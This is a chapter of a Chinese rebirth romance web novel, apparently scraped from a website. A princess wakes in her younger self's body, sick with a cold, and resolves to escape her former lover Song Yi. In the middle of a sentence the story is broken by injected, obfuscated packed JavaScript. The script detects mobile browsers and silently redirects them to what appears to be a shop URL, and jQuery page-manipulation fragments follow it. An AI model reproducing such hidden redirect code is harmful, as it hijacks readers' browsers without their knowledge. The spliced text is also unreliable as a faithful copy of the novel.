第一卷:拨雪寻春,烧灯续昼。
“夫人,姑娘应当是受风寒了,我去请大夫。”
“好端端的怎会受风寒呢?”
......
萧蕙安感觉自己像是暮夜高空中的一片浮羽,浑身发冷,头也混沌不堪,迷迷糊糊听到一些熟悉的声音。
缓缓撑开眼皮,一片光亮袭来,绣有蝶恋花的藕荷色床帐映入眼帘。她秀眉微蹙,扭头去瞧说话之人。眯眼一看,是母亲,静姝和雪蝶?!
又环视四周,这云纹紫檀木屏风,这屋子陈设,不是刺史府她的闺房漱玉居还能是哪里?!
她一时理不清思绪,只觉自己浑身被霜打过一般瘫软无力,还没说话就先咳了几声。
姜夫人俯身为她掖紧被子,轻语:“阿宁,昨夜下雨,我与你爹不在,听静姝说你是在屋檐下待了会儿,受了风寒。我已经命人去请大夫了。”
萧蕙安眼露惑色,又看到静姝朝自己使了个眼色。
“这是怎么回事?”萧蕙安哑着嗓子问。
她抚了抚心口,那种痛感已不复存在。这是怎么回事?她心中暗想:我不是死了吗,我怎么会从盛京回到杭州府,是谁把我送来这里的,是楚思尧吗?她想到,她最后见的人是他。
撑起疲软的身子坐起,问道:“娘,静姝,我是怎么回来的?”
姜夫人不明所以地看向静姝,静姝回应姜夫人的眼神镇定中带有疑惑,闪过的一丝心虚被萧蕙安捕捉到。
“夫人,大夫来了——”一个嘹亮的声音自门外传来,穿透凝固半晌的空气。
这大嗓门,除了雪蝶还能是谁?
姜夫人命静姝垂下床前纱帐,才应了一声,允她进屋。
雪蝶便推门进来,越过屏风,而大夫则是立于屏风外。
姜母慈眉善目间显现担忧,命大夫快给女儿瞧瞧,看着很是严重,都开始说胡话了。
“敢问,昨日下雨,姜二姑娘是否在外吹了风或是淋了雨?”大夫弓着腰,缓缓问着。
萧蕙安脑子还有些懵,还在想到底发生了什么,因而并不作声。
静姝见状,立马说:“大夫,我家姑娘昨夜在屋檐坐着看书,应当是吹了冷风。”又强调说:“并未淋雨。”随后目光扫了眼萧蕙安。
大夫又问,姑娘可有以下症状:怕冷、发热却不出汗,头痛身重,鼻塞流清涕,不时咳嗽。
帐内传来数身沉闷的咳嗽,里头的姑娘声音微哑:“确实如此。”
他要求为姜二姑娘把脉,于是静姝将自家姑娘略冰凉的手从被窝里拿出,给玉腕覆上轻娟。
大夫垂头侧目,三指隔娟按脉。片刻后徐徐说来:“姑娘脉象浮而紧,再结合上述症状,乃是外感风寒,邪气闭于肌表。”
往后退了退,自小案上的药箱取出方药,并嘱咐需啜热粥以助药力,还要再开具一剂辛温解表的方子。服药后,务令微微汗出,病即可解。期间务必避风,饮食清淡。
随后大夫离开屋内,走到院内,遇到家主,也就是杭州府刺史姜澜,恭敬作了一揖,“刺史大人。”
姜澜询问道:“小女风寒之症如何?”声音虽急切了些,但温润醇和。
大夫表示姜二姑娘风寒虽不严重,但千金之躯,当谨遵医嘱,细细调养,方能扶正固本。
闻言,姜澜皱起的眉头渐渐被抚平,欣然道:“有劳先生。”
大夫稍躬身,“分内之事。”退后两步,转身离开。
姜澜走上前去叩门,说着:“夫人,阿宁这里安顿好了后,来我书房一趟吧。”
声音传到房内,姜夫人又叮嘱了静姝和雪蝶一些事,譬如这两日风大,要关紧门窗,不能让姑娘受寒。还有记得吩咐厨房煮些清粥来,给姑娘喂完药后,再给她进食一些清粥。仔细交代了一遍后,这才放心离去。
房内只剩静姝、雪蝶,还有萧蕙安。不,如今她并不是圣上的妹妹嘉宁长公主萧蕙安,而是杭州府刺史大人的小女姜蕙安。
姜蕙安方才躺在床上仔细思虑了一番,觉得眼下的情形过于怪异了。盛京宫内的那场动乱,皇兄的离世,还有宋逸应当也是死了,但是看娘和静姝、雪蝶的反应,这些像是从未发生过一样。
目光茫然看向静姝、雪蝶,看到她们二人褙子外还穿着无袖比甲。
六月怎会需要着比甲?
聚于她眸底的雾气愈发浓厚,微微思量后回缓过神来,迷雾四散,眸光灼灼,问道:“如今是何年何月何日?”
“景祐十六年十月八日啊姑娘,你糊涂了?”雪蝶向来直率,听到自家姑娘不知在说什么胡话,立刻回应。其姊静姝性子沉稳恬静,听到姑娘这番话微微愣神,唇角微张。
景祐十六年?!
姜蕙安只听到了这几个字,像是浑身的血一瞬间冲向头顶,五内百骸间在无声震动,而脑中掀起了一番腥风血雨。她将手自被窝里伸出,抚了抚额头,试图平复脑中的那番动荡混乱,试图理解雪蝶这番石破天惊的话语。
世上怎会有如此荒诞之事?
她仍记得,在长公主府里,那种被痛苦一层层剥离后陷入无边虚无的感觉。那时,她分明死了。可是此刻,她不仅安然无恙,还回到了三年前,景祐十六年。
手自额头挪到心口处,感受着如鼓的心跳,强劲又有活力。
“姑娘,您身子矜贵,莫要为了那宋公子又是淋雨,又是闯宵禁的。老爷和夫人本就不喜欢他,若是让夫人知道你因何得风寒,又要茶饭不思了。老爷年纪大了,发一通火身子也是吃不消的。”静姝怅然道。
姜蕙安心头一颤,想起了那前尘往事。景祐十六年,她十六岁,一日傍晚,爹娘告知了她的身世。她一时难以接受,便偷偷跑出去寻了宋逸,在半路上,骤然下起了雨。避了会儿雨,见这如注雨丝丝毫未有要停的意思,于是冒雨前去。
她仍记得那日的雨,是南方难得猛烈的大雨。砸在瓦上、树上、地上,噼啪作响,如万鼓齐擂。许是街上行人很少,这雨声在她耳中格外清晰透彻。
她见到了宋逸,倾诉时没忍住告知了自己的真实身世。
这便是自己得风寒的缘由了,如今躺在床上只觉懊悔万分。那时候的自己,自恃聪明,轻信于人。可如今看来,却是实实在在的愚笨不堪。
如今偏偏还重生在了告诉宋逸自己身世的第二日,眼下所处这个阶段已是走错两步了。走错的第一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183070|196979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步,是与宋逸相识,给了他能勾搭上自己的契机。第二步,是昨夜告诉他自己的身世秘密,对他毫无保留。
再懊悔也于事无补,也许初次相遇,就是他精心设计的陷阱。十五岁一个冬日,一次她去碧云寺的途中为贼人掳去,宋逸恰巧出现救了她。也许他早就知晓她的身世了。
现在还无从得知。但大概率是如此了,真是筹谋多年,下了好大一盘棋。
她心下一窒,喉间涩然。眸底浮起悲凉黯色,被下的手攥紧。
重来一次,她要将心中那份爱意彻底剜去,绝不会让上一世的惨案重蹈覆辙。
姜蕙安躺在床上出神想了很久,直到听到静姝和雪蝶进屋的脚步声,她才双目敛了神。
静姝端着一托盘,将其轻放在床前小几上。托盘上是一小碗粥。而雪蝶放下的是一个盖了瓷盖的黑色瓷碗,想来定是那又难闻又难喝的治风寒的药了,姜蕙安不免皱起眉头。
静姝和雪蝶七岁起就跟了姜蕙安,比姜蕙安还大一岁,后来又陪着姜蕙安回盛京,三人感情甚笃。
她们二人均梳双环髻,静姝发髻上点缀的是一朵蓝色绒花,恬静淡雅。而雪蝶则是一朵紫色绒花,俏皮烂漫。
静姝正要扶姜蕙安坐起,雪蝶用药匙舀起一小勺药来吹凉。这时都发现了姑娘正看着她们二人。
双瞳剪水,笑起来如春风化雨,连睫毛都沾染暖意。
她们觉得姑娘今日与往常有些不同,不过还是一样的好看。在她们心里,杭州府里没有男子能配得上自家姑娘,更别说那个穷得只剩几分姿色和文采的宋逸了!
姜蕙安心中愉快,暗想:真好,一切都回到了最初的模样。
以往既已谏,来者仍可追,必可易。
“姑娘,药应趁热喝哦。”雪蝶手中的药匙已快到姜蕙安嘴边。
姜蕙安陡然敛了笑意,蹙了蹙眉头,该来的还是要来,一掐鼻子一张嘴。汤药甫一沾嘴,苦意灼烧口腔。她嘴唇抿成一条线,双眼闭了好一会儿才睁开。
姜蕙安回来这一日,因风寒之故,只能待在她的漱玉居里养着。她静静地想了很多事,也回忆了上一世的此时发生过什么。似是募地想到了什么,眸子覆上微寒伤意。
这时,雪蝶推门进来,步伐急促,气喘吁吁,“姑娘,我方才听说,杨老爷病故了。”
萧蕙安方才已想到,上一世,伯祖父就是这两日去世的。她虽已经历过同样的离别,但再一次听到这样的消息时,心头还是不由得像被人攥住。
杨峦是杭州府巨商,与姜蕙安的祖父,也就是姜澜的父亲是挚交好友。姜蕙安亲祖父去世得早,杨峦把好友的独子姜澜认作义子,因此也将姜蕙安视作亲孙女,对其疼爱至极,姜蕙安也时常去他府上。
低头垂眸,桌上掉落两颗盈盈闪闪的泪珠。
此次回来,或许可以改变一些人为导致的事情,但却扭转不了生老病死自然之道。
“雪蝶,去跟爹娘说一声,我今晚要跟着他们去杨府灵堂。”
“可是姑娘您——”
“我身子好些了,不妨事。”抬眸,“伯祖父一向疼我,我若今日不及时去,我心里过意不去。”姜蕙安戚然道。